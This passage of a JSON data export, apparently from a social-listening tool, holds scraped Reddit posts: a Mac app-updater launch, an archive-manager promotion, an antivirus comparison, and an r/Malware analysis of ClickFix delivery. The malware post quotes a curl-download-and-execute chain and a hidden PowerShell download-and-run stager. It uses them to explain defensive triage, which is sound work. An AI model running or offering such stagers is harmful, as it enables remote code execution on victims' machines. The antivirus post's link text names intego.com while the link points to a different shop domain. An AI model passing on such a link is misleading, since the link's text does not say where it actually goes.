scans the apps in your Applications folder, checks if there are newer versions available, and lets you update them from one place.\n\n\n\nThe annoying part was actually not finding updates, it was working out what to show when Floodtide couldn't find anything.\n\n\n\nMac apps update in loads of different ways. Sparkle, Homebrew, App Store, Setapp, their own updater, GitHub, etc. Some apps even have multiple update sources that don't agree.\n\n\n\nAt first, if Floodtide couldn't check an app properly, it just showed nothing. Which is obviously not great because \"couldn't check\" looks exactly the same as \"up to date\".\n\n\n\nSo I changed that. There is now a Check Failed section which shows every app Floodtide couldn't get a reliable answer for. You can also click into an app and see what sources were checked and what they returned.\n\n\n\nCurrently on 0.5.3 beta.\n\n\n\nA few other bits:\n\n\n\nmacOS 13+\n\n£10.99 once\n\n14 day trial\n\nno account\n\nsigned and notarised\n\n378 unit tests\n\nseparate test harness with 138 checks for downloads, installs, broken/tampered updates etc\n\n\n\nI mainly started building it because I used MacUpdater and saw it was being discontinued. There are other alternatives around, I just wanted to make one that was a bit more transparent about what it actually knows and what it doesn't.\n\n\n\nStill very much in beta, so if anyone here uses Mac app updaters I'd genuinely like to know what you think or what you'd want changed.\n\n\n\n[bhopstudio.com/floodtide](http://bhopstudio.com/floodtide)","offTopic":false},{"id":"abd7dde7-ae25-4639-9591-d69729c1d127","excerpt":"I've been telling people to check the wrong thing first, and ClickFix is why — I've written binary triage guides for Windows and macOS, and both of them have you checking where a file came from fairly early on. Against the delivery method that keeps turning up on this sub, that's the one check guaranteed to come back e","url":"https://www.reddit.com/r/Malware/comments/1vvapze/ive_been_telling_people_to_check_the_wrong_thing/","role":"pain","weight":0.87019825,"occurredAt":"2026-08-22T12:07:21.000Z","sourceKey":"reddit","sourceName":"Reddit","credibility":0.62,"venue":"Malware","intent":"problem_report","painScore":0.51,"sentiment":0.45454547,"confidence":0.57629025,"matchedPatterns":["terrible"],"statement":"Tested that as well, and the first run was garbage.","title":"I've been telling people to check the wrong thing first, and ClickFix is why","body":"I've written binary triage guides for Windows and macOS, and both of them have you checking where a file came from fairly early on. Against the delivery method that keeps turning up on this sub, that's the one check guaranteed to come back empty, and empty reads as reassuring when it shouldn't.\n\nTook me embarrassingly long to spot, so here's the whole thing.\n\n# What made me look\n\nThese macOS ClickFix chains all have roughly the same shape. This one's the second stage from u/glazypig's [writeup](https://www.reddit.com/r/Malware/comments/1todldg/not_a_security_person_got_hit_by_an_undocumented/) of the fake Apple support page.\n\n curl -o /tmp/helper hxxps://cedar-satin[.]com/[path]/cleaner3/update && xattr -c /tmp/helper && chmod +x /tmp/helper && /tmp/helper\n\nThe `xattr -c` is what caught me. There's no quarantine attribute there to clear. The `curl -o` that made the file is sitting in the same command line, so the download path that would have set one was never involved.\n\n# Quarantine is applied by the downloader, not by the OS\n\nThis is the bit I'd never properly thought through. `com.apple.quarantine` isn't set by the kernel or the filesystem when bytes hit disk. It's set by whatever application did the downloading, which opts in with `LSFileQuarantineEnabled` in its Info.plist. Browsers set it, so do Mail, Messages and AirDrop.\n\n`curl` doesn't, because it's a command line tool that never touches the LaunchServices API. A file it fetches from a Terminal window arrives with nothing on it.\n\nWhich takes the whole chain with it. The first-run Gatekeeper path is triggered by quarantine, so no attribute means no notarization check and no \"downloaded from the internet\" dialog. Other execution-time checks still run, XProtect among them, but the provenance gate specifically doesn't. `kMDItemWhereFroms` is no help either, since it's written by the same download machinery.\n\nSo it isn't that this defeats Gatekeeper. Gatekeeper never gets invited.\n\n# Then I stopped guessing and tested it\n\nCurl-fetched file, `xattr -l` prints nothing at all. Not just no quarantine, no extended attributes of any kind. A browser download on the same box in the same session comes back with `com.apple.quarantine: 0081;6a8973ff;Chrome;` and a full WhereFroms plist, so the null is real rather than me holding the tool wrong.\n\nOne thing I didn't expect. Extended attributes survive `curl -o` overwriting an existing path. The content gets replaced, the quarantine attribute stays, still naming whatever a browser fetched there previously. So an attribute can outlive the bytes it described, which cuts against me in the other direction too. Absence proves nothing, and presence isn't necessarily describing the file you're looking at.\n\n# Windows has the same hole\n\nMark of the Web works the same way. `Zone.Identifier` is an alternate data stream written by the downloading application through the zone API, not by the OS.\n\nTested that as well, and the first run was garbage. The VM had `SaveZoneInformation = 1` in both hives, which switches MotW off machine-wide, so everything came back clean including the browser control. Cleared the policy, confirmed a browser download then picked up a 977 byte `Zone.Identifier` with `ZoneId=3`, and re-ran. `curl.exe`, `Invoke-WebRequest -OutFile` and `bitsadmin /transfer` all produce nothing.\n\nAnd the dominant Windows ClickFix pattern never writes to disk at all.\n\n powershell -w hidden -c \"IEX(New-Object Net.WebClient).DownloadString('hxxp://...')\"\n\nNo file, no stream, none of the file reputation checks that key off MotW. AMSI still sees the script contents, the same way XProtect still runs on the Mac side, but the file provenance path is gone either way.\n\nSame structural property on both. Provenance metadata gets applied by cooperating userland applications, so anything that fetches bytes without cooperating produces a file that looks like it was always there.\n\n# So why do they keep clearing it\n\nIf it's redundant, why does it show up every time? Best guess is one stager serving more than one delivery method. A DMG arriving through a browser does carry quarantine, so stripping it there is load-bearing, and a single stager that works for both drags the step onto the path where it does nothing. If that's right, whoever built this is probably running a browser-delivered vector too and you're seeing half of it. Hold it loosely though. An operator who just doesn't care produces the same artifact.\n\n# What I'd change\n\nAbsence of quarantine is not evidence the file is local. It's evidence of nothing.\n\nSo it goes down the order, and three things move above it.\n\nSignature state, where native arm64 code needs at least an ad-hoc signature to run on Apple Silicon, so `codesign -dv --verbose=4` reporting `Signature=adhoc` is what you'll see rather than no signature at all. An x86\\_64-only payload under Rosetta isn't bound by that, worth knowing before you read an unsigned Intel binary as anomalous.\n\nThen persistence, because the operator can't opt out of writing that down somewhere the way they can opt out of quarantine.\n\nThen what the process actually loaded, which doesn't care how the file arrived.\n\nThe longer versions for [Windows](https://www.reddit.com/r/redhand/comments/1vno7i7/friend_or_foe_is_this_binary_legit/) and [macOS](https://www.reddit.com/r/redhand/comments/1vtkcte/friend_or_foe_is_this_binary_legit_part_ii_macos/) go through all of it properly, built-in commands only. Both still rank provenance higher than I now think it deserves, which is the trouble with writing a checklist. The delivery method moves and the checklist doesn't.\n\nHas anyone hit this in real casework, a quarantine attribute still sitting on a file whose contents had been swapped out under it? I only got it to happen in a lab and I don't know whether it actually bites.","offTopic":true},{"id":"ca517ff5-0f3b-4656-bb13-8be17a747ae7","excerpt":"Powerful yet lightweight ZIP / archive manager native MacOS — Hi Sideproject,\n\n \nI've been working on a suite of apps to help developers and powerusers get rid of some headache every day.\n\n \nTonight my Zip/Archve manager QuikZip was released on app store.\n\n[https://apps.apple.com/app/quikzip/id6769693595](https://app","url":"https://www.reddit.com/r/SideProject/comments/1vufrnk/powerful_yet_lightweight_zip_archive_manager/","role":"request","weight":0.8496345,"occurredAt":"2026-08-21T13:02:18.000Z","sourceKey":"reddit","sourceName":"Reddit","credibility":0.62,"venue":"SideProject","intent":"problem_report","painScore":0.36,"sentiment":0.8333333,"confidence":0.62473124,"matchedPatterns":["manual_process"],"statement":"QuikZip lets you browse archives, preview files and edit files directly inside archives without manually extracting everything first.","title":"Powerful yet lightweight ZIP / archive manager native MacOS","body":"Hi Sideproject,\n\n \nI've been working on a suite of apps to help developers and powerusers get rid of some headache every day.\n\n \nTonight my Zip/Archve manager QuikZip was released on app store.\n\n[https://apps.apple.com/app/quikzip/id6769693595](https://apps.apple.com/app/quikzip/id6769693595)\n\nTo celebrate the launch it’s available at a reduced price until the end of September.\n\nQuikZip started because I got tired of the same workflow over and over again. Download an archive, extract everything, find the one JSON, log or config file I actually need, edit it, then recreate the archive.\n\nI wanted to skip most of those steps.\n\nQuikZip lets you browse archives, preview files and edit files directly inside archives without manually extracting everything first.\n\nQuikZip recognizes 75+ archive, compression, disk-image, package and container formats. Including ZIP, 7Z, TAR, GZIP, XZ, BZIP2 and many more. Nested archives are also supported, so you can browse archives inside other archives without unpacking them first.\n\nSome features include:\n\n* Edit files directly inside archives\n* Preview files before opening\n* Support for 75+ archive formats\n* Nested archive support\n* Drag and drop workflows\n* Quick create and extract\n* Batch archive operations\n* Native macOS app\n\nQuikZip is also designed to work together with my other apps.\n\nIf an archive contains a huge JSON or log file, you can open it directly in **Inkline**, edit or format it, and save it straight back into the archive. **Rune**, my Kubernetes client, can also save log bundles that open directly in QuikZip or Inkline.\n\nThe goal has never been to build another archive utility. I wanted something lightweight that makes everyday workflows a little faster.\n\nI’d genuinely love any feedback, criticism or feature requests. This is version 1.0 and I’m already working on the next update. \n","offTopic":true},{"id":"49199152-379f-44ba-9288-5d511098a448","excerpt":"Mac Coffee Antivirus (McAfee Antivirus for Mac) — Why I’d Choose Intego ONE Instead in 2026 — If you searched for **“Mac coffee antivirus,”** there’s a good chance you actually meant **McAfee antivirus for Mac**.\n\nYes, McAfee does offer antivirus protection for macOS.\n\nBut if you're specifically looking for an **antivi","url":"https://www.reddit.com/r/MacStack/comments/1vv5oeq/mac_coffee_antivirus_mcafee_antivirus_for_mac_why/","role":"demand","weight":0.64544505,"occurredAt":"2026-08-22T07:23:23.000Z","sourceKey":"reddit","sourceName":"Reddit","credibility":0.62,"venue":"MacStack","intent":"tool_discovery","painScore":0.12,"sentiment":1,"confidence":0.57629025,"matchedPatterns":["looking_for"],"statement":"But if you're specifically looking for an **antivirus for a Mac or MacBook**, I think there's another option you should compare before buying: **Intego ONE** (rn they have an offer as well you can get it here: # McAfee antivirus vs Intego…","title":"Mac Coffee Antivirus (McAfee Antivirus for Mac) — Why I’d Choose Intego ONE Instead in 2026","body":"If you searched for **“Mac coffee antivirus,”** there’s a good chance you actually meant **McAfee antivirus for Mac**.\n\nYes, McAfee does offer antivirus protection for macOS.\n\nBut if you're specifically looking for an **antivirus for a Mac or MacBook**, I think there's another option you should compare before buying: **Intego ONE** (rn they have an offer as well you can get it here: [https://intego.com/offer](https://softwaresworthpaying.shop/integoone)).\n\n# McAfee antivirus vs Intego ONE for Mac\n\nMcAfee is a large cross-platform security suite that supports Macs, Windows PCs, phones, and other devices.\n\nThat can make a lot of sense if you want one subscription covering several different types of devices.\n\n**Intego ONE, on the other hand, is specifically offered as an all-in-one security and performance suite for Mac.**\n\nIt combines several Mac tools in one application:\n\n* Real-time antivirus protection\n* Quick, full, custom, and scheduled malware scans\n* Suspicious-file quarantine\n* Firewall and network controls\n* SmartClean Mac cleanup/optimization\n* VPN protection\n\nWhich features you receive depends on the Intego ONE plan you choose.\n\n# Why consider Intego ONE instead of McAfee for a Mac?\n\nIf my main concern were protecting a **MacBook or iMac**, I'd want to compare the software based on its Mac features rather than simply buying the antivirus brand I've heard about most often.\n\nThat's where Intego ONE becomes interesting.\n\n# 1. Antivirus designed around the Mac\n\nIntego ONE provides real-time malware monitoring and lets you run quick, full, custom, and scheduled scans.\n\nSuspicious files can be quarantined so you can review, delete, or restore them.\n\nSo if what you originally wanted when searching for **Mac coffee antivirus / McAfee antivirus** was simply malware protection for your Mac, Intego covers that core requirement.\n\n# 2. A firewall is included\n\nAntivirus and a firewall solve different problems.\n\nAntivirus looks for malicious software and files.\n\nA firewall monitors network connections and can help you control which applications are communicating over the internet.\n\nIntego ONE combines the two instead of treating antivirus as the entire security setup.\n\n# 3. SmartClean is useful if you also want Mac maintenance\n\nHigher Intego ONE plans include **SmartClean**.\n\nIt can help remove unnecessary files and application leftovers, reclaim storage space, uninstall apps, and monitor things such as CPU, memory, and disk usage.\n\nObviously, you don't need a cleaner to protect yourself from malware.\n\nBut if you're already considering paying for separate Mac cleanup software, having it included in the same application could be useful.\n\n# 4. There's also an Intego VPN\n\nIntego ONE's Complete package includes **Intego VPN**.\n\nA VPN doesn't replace antivirus.\n\nInstead, it encrypts your internet traffic and masks your public IP address.\n\nSo antivirus + firewall + VPN give you three different types of protection rather than three names for the same thing.\n\n# When would McAfee make more sense?\n\nI wouldn't claim Intego is automatically the right choice for everyone.\n\nMcAfee may be worth considering if you're trying to protect a household full of different devices — for example Macs, Windows PCs, Android devices, and iPhones — under one broader security subscription.\n\nThat's one of the advantages of going with a large multi-platform product.\n\nBut if your question is specifically:\n\n**“What antivirus should I get for my Mac?”**\n\nthen I think **Intego ONE absolutely deserves to be compared before you buy McAfee**.\n\n# Is Intego ONE good for a MacBook?\n\nOn paper, the feature combination is compelling if you want more than a basic virus scanner.\n\nYou're getting Mac antivirus plus a firewall, with SmartClean and VPN available depending on the plan.\n\nIntego ONE currently supports both **Apple Silicon and Intel Macs** and requires **macOS 12.4 or newer**.\n\nSo if you're running a relatively modern MacBook Air, MacBook Pro, iMac, Mac mini, Mac Studio, etc., it's worth checking whether your Mac meets the requirements.\n\n# So, “Mac Coffee Antivirus” = McAfee?\n\nProbably.\n\nIf that's how you ended up here, you were most likely searching for something along the lines of:\n\n* McAfee antivirus\n* McAfee antivirus for Mac\n* McAfee for MacBook\n* Mac antivirus\n* antivirus for Mac\n* best antivirus for Mac\n* MacBook antivirus software\n\nBut before automatically going with McAfee because it's the name you were searching for, I'd compare what you're actually getting for your Mac.\n\nFor a primarily Mac-focused setup, **Intego ONE is the alternative I'd look at before making the purchase.**\n\n**Check the current Intego ONE plans here (they have an offer going on):** [https://intego.com/offer](https://softwaresworthpaying.shop/integoone)","offTopic":true}],"breakdown":[{"sourceKey":"reddit","sourceName":"Reddit","count":10},{"sourceKey":"hackernews","sourceName":"Hacker News","count":3}],"total":13}}